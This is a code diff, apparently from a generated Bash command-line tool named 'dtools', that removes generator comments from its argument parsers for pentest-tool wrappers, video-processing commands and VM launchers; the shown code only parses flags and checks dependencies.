dtools_pentest_arpspoof_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v arpspoof >/dev/null 2>&1; then printf "missing dependency: arpspoof\n" >&2 printf "%s\n\n" "Install with 'sudo apt install dsniff'" >&2 @@ -26953,10 +24120,8 @@ dtools_pentest_arpspoof_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest arpspoof" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -26967,8 +24132,7 @@ dtools_pentest_arpspoof_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -26977,7 +24141,6 @@ dtools_pentest_arpspoof_parse_requirements() { esac done - # :command.user_filter filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -26986,11 +24149,9 @@ dtools_pentest_arpspoof_parse_requirements() { } -# :command.parse_requirements dtools_pentest_bettercap_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27007,9 +24168,8 @@ dtools_pentest_bettercap_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v bettercap >/dev/null 2>&1; then printf "missing dependency: bettercap\n" >&2 printf "%s\n\n" "See 'https://www.bettercap.org/project/installation/'" >&2 @@ -27022,10 +24182,8 @@ dtools_pentest_bettercap_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest bettercap" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27036,8 +24194,7 @@ dtools_pentest_bettercap_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27048,11 +24205,9 @@ dtools_pentest_bettercap_parse_requirements() { } -# :command.parse_requirements dtools_pentest_msfconsole_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27069,9 +24224,8 @@ dtools_pentest_msfconsole_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v msfconsole >/dev/null 2>&1; then printf "missing dependency: msfconsole\n" >&2 printf "%s\n\n" "See 'https://www.metasploit.com/download'" >&2 @@ -27084,10 +24238,8 @@ dtools_pentest_msfconsole_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest msfconsole" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27098,8 +24250,7 @@ dtools_pentest_msfconsole_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27110,11 +24261,9 @@ dtools_pentest_msfconsole_parse_requirements() { } -# :command.parse_requirements dtools_pentest_aircrack_ng_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27131,9 +24280,8 @@ dtools_pentest_aircrack_ng_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v aircrack-ng >/dev/null 2>&1; then printf "missing dependency: aircrack-ng\n" >&2 printf "%s\n\n" "See 'https://www.aircrack-ng.org/doku.php?id=install_aircrack'" >&2 @@ -27146,10 +24294,8 @@ dtools_pentest_aircrack_ng_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest aircrack-ng" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27160,8 +24306,7 @@ dtools_pentest_aircrack_ng_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27172,11 +24317,9 @@ dtools_pentest_aircrack_ng_parse_requirements() { } -# :command.parse_requirements dtools_pentest_crunch_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27193,9 +24336,8 @@ dtools_pentest_crunch_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v crunch >/dev/null 2>&1; then printf "missing dependency: crunch\n" >&2 printf "%s\n\n" "See 'https://ciphrexlabs.com/tcontent/crunch-the-all-in-one-wordlist-generator'" >&2 @@ -27208,10 +24350,8 @@ dtools_pentest_crunch_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest crunch" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27222,8 +24362,7 @@ dtools_pentest_crunch_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27234,11 +24373,9 @@ dtools_pentest_crunch_parse_requirements() { } -# :command.parse_requirements dtools_pentest_veil_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27255,10 +24392,8 @@ dtools_pentest_veil_parse_requirements() { esac done - # :command.command_filter action="pentest veil" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27269,8 +24404,7 @@ dtools_pentest_veil_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27281,11 +24415,9 @@ dtools_pentest_veil_parse_requirements() { } -# :command.parse_requirements dtools_pentest_ngrok_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27302,9 +24434,8 @@ dtools_pentest_ngrok_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ngrok >/dev/null 2>&1; then printf "missing dependency: ngrok\n" >&2 printf "%s\n\n" "See 'https://ngrok.com/download'" >&2 @@ -27317,10 +24448,8 @@ dtools_pentest_ngrok_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest ngrok" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27331,8 +24460,7 @@ dtools_pentest_ngrok_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27343,11 +24471,9 @@ dtools_pentest_ngrok_parse_requirements() { } -# :command.parse_requirements dtools_pentest_storm_breaker_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27364,9 +24490,8 @@ dtools_pentest_storm_breaker_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v stormbreaker >/dev/null 2>&1; then printf "missing dependency: stormbreaker\n" >&2 printf "%s\n\n" "See 'https://github.com/ultrasecurity/Storm-Breaker'" >&2 @@ -27379,10 +24504,8 @@ dtools_pentest_storm_breaker_parse_requirements() { exit 1 fi - # :command.command_filter action="pentest storm-breaker" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27393,8 +24516,7 @@ dtools_pentest_storm_breaker_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27405,11 +24527,9 @@ dtools_pentest_storm_breaker_parse_requirements() { } -# :command.parse_requirements dtools_video_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27426,7 +24546,6 @@ dtools_video_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -27467,7 +24586,6 @@ dtools_video_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_video_usage >&2 exit 1 @@ -27480,7 +24598,6 @@ dtools_video_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27491,8 +24608,7 @@ dtools_video_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -27503,11 +24619,9 @@ dtools_video_parse_requirements() { } -# :command.parse_requirements dtools_video_rip_audio_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27524,9 +24638,8 @@ dtools_video_rip_audio_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 @@ -27539,17 +24652,14 @@ dtools_video_rip_audio_parse_requirements() { exit 1 fi - # :command.command_filter action="video rip-audio" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --title) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--title']="$2" shift @@ -27560,10 +24670,8 @@ dtools_video_rip_audio_parse_requirements() { fi ;; - # :flag.case --output-file) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift @@ -27580,9 +24688,7 @@ dtools_video_rip_audio_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift @@ -27596,14 +24702,12 @@ dtools_video_rip_audio_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video rip-audio VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.required_flags_filter if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 @@ -27611,11 +24715,9 @@ dtools_video_rip_audio_parse_requirements() { } -# :command.parse_requirements dtools_video_youtube_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27632,9 +24734,8 @@ dtools_video_youtube_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v youtube_dl >/dev/null 2>&1; then printf "missing dependency: youtube_dl\n" >&2 printf "%s\n\n" "See 'https://github.com/ytdl-org/youtube-dl'" >&2 @@ -27647,25 +24748,20 @@ dtools_video_youtube_parse_requirements() { exit 1 fi - # :command.command_filter action="video youtube" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --audio-only) - # :flag.case_no_arg args['--audio-only']=1 shift ;; - # :flag.case --playlist) - # :flag.case_no_arg args['--playlist']=1 shift ;; @@ -27676,9 +24772,7 @@ dtools_video_youtube_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['url']+x} ]]; then args['url']=$1 shift @@ -27692,7 +24786,6 @@ dtools_video_youtube_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['url']+x} ]]; then printf "missing required argument: URL\nusage: dtools video youtube URL [OPTIONS]\n" >&2 @@ -27701,11 +24794,9 @@ dtools_video_youtube_parse_requirements() { } -# :command.parse_requirements dtools_video_split_scenes_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27722,9 +24813,8 @@ dtools_video_split_scenes_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v scenedetect >/dev/null 2>&1; then printf "missing dependency: scenedetect\n" >&2 printf "%s\n\n" "See 'https://www.scenedetect.com/'" >&2 @@ -27733,7 +24823,6 @@ dtools_video_split_scenes_parse_requirements() { deps['scenedetect']="$(command -v scenedetect | head -n1)" fi - # :dependency.filter if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 @@ -27742,7 +24831,6 @@ dtools_video_split_scenes_parse_requirements() { deps['ffmpeg']="$(command -v ffmpeg | head -n1)" fi - # :dependency.filter if ! command -v ffprobe >/dev/null 2>&1; then printf "missing dependency: ffprobe\n" >&2 printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 @@ -27755,17 +24843,14 @@ dtools_video_split_scenes_parse_requirements() { exit 1 fi - # :command.command_filter action="video split-scenes" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --content-threshold) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--content-threshold']="$2" shift @@ -27776,10 +24861,8 @@ dtools_video_split_scenes_parse_requirements() { fi ;; - # :flag.case --fade-threshold) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--fade-threshold']="$2" shift @@ -27790,10 +24873,8 @@ dtools_video_split_scenes_parse_requirements() { fi ;; - # :flag.case --keep-duration) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--keep-duration']="$2" shift @@ -27810,9 +24891,7 @@ dtools_video_split_scenes_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift @@ -27826,25 +24905,21 @@ dtools_video_split_scenes_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video split-scenes VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--content-threshold']:-} ]] || args['--content-threshold']="130" [[ -n ${args['--fade-threshold']:-} ]] || args['--fade-threshold']="5" [[ -n ${args['--keep-duration']:-} ]] || args['--keep-duration']="8" } -# :command.parse_requirements dtools_video_duration_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27861,9 +24936,8 @@ dtools_video_duration_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ffprobe >/dev/null 2>&1; then printf "missing dependency: ffprobe\n" >&2 printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 @@ -27876,10 +24950,8 @@ dtools_video_duration_parse_requirements() { exit 1 fi - # :command.command_filter action="video duration" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27890,9 +24962,7 @@ dtools_video_duration_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift @@ -27906,7 +24976,6 @@ dtools_video_duration_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video duration VIDEO_FILE\n" >&2 @@ -27915,11 +24984,9 @@ dtools_video_duration_parse_requirements() { } -# :command.parse_requirements dtools_video_boost_audio_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -27936,9 +25003,8 @@ dtools_video_boost_audio_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 @@ -27951,17 +25017,14 @@ dtools_video_boost_audio_parse_requirements() { exit 1 fi - # :command.command_filter action="video boost-audio" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --multiplier) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--multiplier']="$2" shift @@ -27972,10 +25035,8 @@ dtools_video_boost_audio_parse_requirements() { fi ;; - # :flag.case --output-file) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift @@ -27992,9 +25053,7 @@ dtools_video_boost_audio_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift @@ -28008,29 +25067,24 @@ dtools_video_boost_audio_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video boost-audio VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.required_flags_filter if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--multiplier']:-} ]] || args['--multiplier']="2.0" } -# :command.parse_requirements dtools_vm_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28047,7 +25101,6 @@ dtools_vm_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -28074,7 +25127,6 @@ dtools_vm_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_vm_usage >&2 exit 1 @@ -28087,7 +25139,6 @@ dtools_vm_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28098,8 +25149,7 @@ dtools_vm_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -28110,11 +25160,9 @@ dtools_vm_parse_requirements() { } -# :command.parse_requirements dtools_vm_windows_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28131,9 +25179,8 @@ dtools_vm_windows_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v xfreerdp3 >/dev/null 2>&1; then printf "missing dependency: xfreerdp3\n" >&2 printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 @@ -28146,17 +25193,14 @@ dtools_vm_windows_parse_requirements() { exit 1 fi - # :command.command_filter action="vm windows" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --persistent-dir-prefix) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift @@ -28167,26 +25211,20 @@ dtools_vm_windows_parse_requirements() { fi ;; - # :flag.case --persistent) - # :flag.case_no_arg args['--persistent']=1 shift ;; - # :flag.case --wipe-persistent-data) - # :flag.case_no_arg args['--wipe-persistent-data']=1 shift ;; - # :flag.case --disk-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift @@ -28197,10 +25235,8 @@ dtools_vm_windows_parse_requirements() { fi ;; - # :flag.case --ram-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift @@ -28211,10 +25247,8 @@ dtools_vm_windows_parse_requirements() { fi ;; - # :flag.case --cpu-cores) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift @@ -28225,10 +25259,8 @@ dtools_vm_windows_parse_requirements() { fi ;; - # :flag.case --share-directory) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift @@ -28239,10 +25271,8 @@ dtools_vm_windows_parse_requirements() { fi ;; - # :flag.case --version) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--version']="$2" shift @@ -28259,8 +25289,7 @@ dtools_vm_windows_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -28269,22 +25298,17 @@ dtools_vm_windows_parse_requirements() { esac done - # :command.needy_flags_filter - # :flag.needs if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." [[ -n ${args['--version']:-} ]] || args['--version']="11" - # :command.validations - # :flag.validations if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28293,7 +25317,6 @@ dtools_vm_windows_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28302,7 +25325,6 @@ dtools_vm_windows_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28311,7 +25333,6 @@ dtools_vm_windows_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(11|11l|11e|10|10l|10e|8e|7e|ve|xp|2025|2022|2019|2016|2012|2008|2003)$ ]]; then printf "%s\n" "--version must be one of: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" >&2 exit 1 @@ -28319,11 +25340,9 @@ dtools_vm_windows_parse_requirements() { } -# :command.parse_requirements dtools_vm_linux_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28340,9 +25359,8 @@ dtools_vm_linux_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v remmina >/dev/null 2>&1; then printf "missing dependency: remmina\n" >&2 printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 @@ -28351,7 +25369,6 @@ dtools_vm_linux_parse_requirements() { deps['remmina']="$(command -v remmina | head -n1)" fi - # :dependency.filter if ! command -v xfreerdp3 >/dev/null 2>&1; then printf "missing dependency: xfreerdp3\n" >&2 printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 @@ -28364,17 +25381,14 @@ dtools_vm_linux_parse_requirements() { exit 1 fi - # :command.command_filter action="vm linux" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --persistent-dir-prefix) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift @@ -28385,52 +25399,42 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --persistent) - # :flag.case_no_arg args['--persistent']=1 shift ;; - # :flag.case --wipe-persistent-data) - # :flag.case_no_arg args['--wipe-persistent-data']=1 shift ;; - # :flag.case --no-gui) - # :flag.conflicts + if [[ -n "${args['--use-rdp']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--use-rdp" >&2 exit 1 fi - # :flag.case_no_arg args['--no-gui']=1 shift ;; - # :flag.case --use-rdp) - # :flag.conflicts + if [[ -n "${args['--no-gui']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--no-gui" >&2 exit 1 fi - # :flag.case_no_arg args['--use-rdp']=1 shift ;; - # :flag.case --rdp-user) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--rdp-user']="$2" shift @@ -28441,10 +25445,8 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --rdp-password) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--rdp-password']="$2" shift @@ -28455,10 +25457,8 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --disk-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift @@ -28469,10 +25469,8 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --ram-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift @@ -28483,10 +25481,8 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --cpu-cores) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift @@ -28497,10 +25493,8 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --share-directory) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift @@ -28511,15 +25505,13 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --dist) - # :flag.conflicts + if [[ -n "${args['--image-url']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--image-url" >&2 exit 1 fi - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--dist']="$2" shift @@ -28530,15 +25522,13 @@ dtools_vm_linux_parse_requirements() { fi ;; - # :flag.case --image-url) - # :flag.conflicts + if [[ -n "${args['--dist']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dist" >&2 exit 1 fi - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--image-url']="$2" shift @@ -28555,8 +25545,7 @@ dtools_vm_linux_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -28565,26 +25554,21 @@ dtools_vm_linux_parse_requirements() { esac done - # :command.needy_flags_filter - # :flag.needs if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 exit 1 fi - # :flag.needs if [[ -n ${args['--rdp-user']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then printf "%s\n" "--rdp-user needs --use-rdp" >&2 exit 1 fi - # :flag.needs if [[ -n ${args['--rdp-password']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then printf "%s\n" "--rdp-password needs --use-rdp" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--rdp-user']:-} ]] || args['--rdp-user']="$USER" [[ -n ${args['--rdp-password']:-} ]] || args['--rdp-password']="admin" [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="128" @@ -28592,8 +25576,6 @@ dtools_vm_linux_parse_requirements() { [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="4" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." - # :command.validations - # :flag.validations if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28602,7 +25584,6 @@ dtools_vm_linux_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28611,7 +25592,6 @@ dtools_vm_linux_parse_requirements() { fi fi - # :flag.validations if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then @@ -28620,13 +25600,11 @@ dtools_vm_linux_parse_requirements() { fi fi - # :command.whitelist_filter if [[ ${args['--dist']:-} ]] && [[ ! ${args['--dist']:-} =~ ^(alma|alpine|arch|cachy|centos|debian|fedora|gentoo|kali|kubuntu|mint|manjaro|mx|nixos|suse|oracle|rocky|slack|tails|ubuntu|ubuntus|xubuntu)$ ]]; then printf "%s\n" "--dist must be one of: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_linux_image_url_or_dist_is_defined) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -28635,11 +25613,9 @@ dtools_vm_linux_parse_requirements() { } -# :command.parse_requirements dtools_vm_mac_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -28656,9 +25632,8 @@ dtools_vm_mac_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v remmina >/dev/null 2>&1; then printf "missing dependency: remmina\n" >&2 printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 @@ -28671,17 +25646,14 @@ dtools_vm_mac_parse_requirements() { exit 1 fi - # :command.command_filter action="vm mac" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --persistent-dir-prefix) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift @@ -28692,26 +25664,20 @@ dtools_vm_mac_parse_requirements() { fi ;; - # :flag.case --persistent) - # :flag.case_no_arg args['--persistent']=1 shift ;; - # :flag.case --wipe-persistent-data) - # :flag.case_no_arg args['--wipe-persistent-data']=1 shift ;; - # :flag.case --disk-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift @@ -28722,10 +25688,8 @@ dtools_vm_mac_parse_requirements() { fi ;; - # :flag.case --ram-size) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift @@ -28736,10 +25700,8 @@ dtools_vm_mac_parse_requirements() { fi ;; - # :flag.case --cpu-cores) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift @@ -28750,10 +25712,8 @@ dtools_vm_mac_parse_requirements() { fi ;; - # :flag.case --share-directory) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift @@ -28764,10 +25724,8 @@ dtools_vm_mac_parse_requirements() { fi ;; - # :flag.case --version) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--version']="$2" shift @@ -28784,8 +25742,7 @@ dtools_vm_mac_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -28794,22 +25751,17 @@ dtools_vm_mac_parse_requirements() { esac done - # :command.needy_flags_filter - # :flag.needs if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" 